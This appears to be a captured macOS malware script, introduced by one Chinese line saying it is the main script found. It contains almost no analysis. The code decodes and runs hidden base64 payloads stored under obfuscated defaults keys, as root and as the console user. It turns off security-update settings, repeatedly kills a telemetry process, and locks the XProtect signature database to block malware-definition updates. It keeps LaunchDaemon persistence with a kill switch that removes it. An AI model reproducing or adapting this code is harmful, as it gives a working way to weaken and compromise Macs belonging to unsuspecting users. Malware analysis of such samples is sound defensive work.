找到的主脚本如下
defaults read fqijeu lqqr_djhxqjf | base64 --decode
date
whoami
cd /Users/Shared
pwd
root_tasks() {
/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist ConfigDataInstall -bool false
/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist AllowRapidSecurityResponses -bool false
kill_processes() {
while true; do
pgrep -fi 'CloudTelemetryService' | xargs -r -I {} sh -c 'kill -9 {} && echo "killed PID {}"'
sleep 1
done
}
kill_processes &
perl -e 'open my $fh, "<", "/var/protected/xprotect/XPdb" or die $!; flock($fh, 2) or die $!; while (1) { sleep 60; }' &
echo "I am a root task $(whoami)"
}
network_tasks() {
while ! ping -c1 -W1 1.1.1.1 &> /dev/null ; do
echo 'no net'
sleep 5
done
echo 'net available'
"$1"
echo 'network task completed.'
}
localuser_tasks() {
while true; do
localuser=$(scutil <<< "show State:/Users/ConsoleUser" | awk '/Name :/ && ! /loginwindow/ { print $3 }')
if [[ -n "$localuser" ]]; then
break
fi
echo 'No logged-in user. Retrying...'
sleep 5
done
echo "[LOGGED IN] $localuser"
task() {
sleep 30
sudo -u "$localuser" /bin/bash <<EOF
defaults read 'fqijeu' 'burlh_dqeur_rkq' | base64 --decode | env SRC='Daemon' sh >/dev/null 2>&1 &
EOF
}
network_tasks task &
}
loop_tasks() {
echo 'Daemon is running...'
if [ -e "/Users/echo/.kill" ]; then
echo 'killing...'
grep -lir 'echo.*base64.*sh' /Library/LaunchDaemons/ 2>/dev/null | while read -r file; do
echo "$file"
rm -f "$file"
done
rm -f "/Users/echo/.kill"
echo 'killed.'
exit
fi
}
root_tasks &
localuser_tasks &
while true; do
loop_tasks &
sleep 60
done